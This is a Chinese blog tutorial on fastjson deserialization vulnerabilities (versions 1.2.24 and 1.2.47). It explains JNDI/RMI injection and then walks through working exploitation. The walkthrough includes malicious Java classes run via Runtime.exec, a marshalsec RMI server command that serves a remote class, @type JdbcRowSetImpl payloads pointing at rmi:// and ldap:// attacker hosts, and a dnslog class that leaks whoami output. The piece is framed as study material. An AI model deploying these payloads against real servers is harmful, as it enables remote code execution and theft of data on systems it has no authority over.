fastjson漏洞总结

介绍

fastjson是一个由阿里开发的一个开源Java类库,可以将Java对象转换为JSON格式(序列化),当然它也可以将JSON字符串转换为Java对象(反序列化)Fastjson 可以操作任何Java对象,即使是一些预先存在的没有源码的对象,使用还是比较广泛的

那什么是json?
json本质就是一种字符串,用于信息的存储和交换。json全称是JavaScript object notation,即JavaScript对象标记法,使用键值对进行信息的存储,举个简单的例子如下

1
2
3
4
5
{
"name":"LiutyBlog",
"age":23,
"media":["CSDN","bilibili","Github"]
}

相关概念

在进行fastjson的漏洞复现学习之前需要了解几个概念

JNDI

JNDI是一组应用程序接口,提供了查找和访问命名和目录服务的通用、统一的接口,用于定位网络、用户、对象和服务等资源,是J2EE规范中是重要的规范之一,JNDI底层支持RMI远程对象,JNDI接口可以访问和调用RMI注册过的服务,JNDI根据名字动态加载数据,支持的服务有DNS、LDAP、CORBA、RMI

JNDI注入

简单来说,JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击,例如

1
2
3
4
5
6
Hashtable env = newHashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://liuty_ip:8080");
Context ctx = newInitialContext(env);
Object local_obj = ctx.lookup("rmi://liuty_ip:8080/test");

RMI

RMI服务端可以通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并且在目录中保存,当客户端使用lookup获取对应名字的时候,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例

任何可以被远程调用方法的对象必须实现 java.rmi.Remote接口,远程对象的实现类必须继承UnicastRemoteObject类,如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法,例如

1
2
3
4
5
6
7
8
9
10
publicclassByebyeImplimplementsIByebye{
protectedByebyeImpl() throwsRemoteException{
UnicastRemoteObject.exportObject(this, 0);
}
@Override
publicString sayByebye(String name) {
System.out.println(name);
return name;
}
}

fastjson反序列化漏洞原理

fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法,fastjson引入了AutoType,即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型
使用autotype处理Json对象的时候,如果未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码,攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。说白了就是,FastJson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set或get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,从而进行进一步的利用,我用ppt大概做一个流程图

漏洞复现

1.2.24

我这里用docker搭建复现环境

1.2.24是没有任何fastjson特征,我们构造数据包,用POST请求,并且加上Content-Type: application/json,发包可以证实 啥特征没有

首先编译恶意类代码,我们以在/tmp目录下创建一个successFrank文件为复现成功标志:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/successFrank"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

然后用javac编译成class文件,然后在当前目录用python启动一个http服务,这个时候就用到我们的marshalsec,启动一个RMI服务器,设置监听端口,并制定加载远程的恶意类
(marshalsec下载地址:https://github.com/mbechler/marshalsec.git)
(需要手动maven编译成jar包)

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://liuty_ip:port/#TouchFile" 9999(指定的端口)

随后抓包,同样使用POST请求,并且加上Content-Type,在最后输入payload

1
2
3
4
5
6
7
8
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://liuty_ip:9999/TouchFile",
"autoCommit":true
}

}

发送数据包

检测一下是否在tmp目录touch创建了文件successFrank即可,success!

dnslog回显
创建一个恶意类,执行ping命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.lang.Runtime;

import java.lang.Process;

public class dnslog{

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog地址"};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// 1

}

}

}

步骤同上,修改完数据包之后,放包 成功回显

1.2.47

在47版本中最明显的点就是json报错会出现fastjson特征

dnslog回显
构造数据包

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.110.208:28888/Object","autoCommit":true}

反弹shell


fastjson漏洞总结
http://example.com/2024/03/03/fastjson漏洞总结/
作者
liuty
发布于
2024年3月3日
许可协议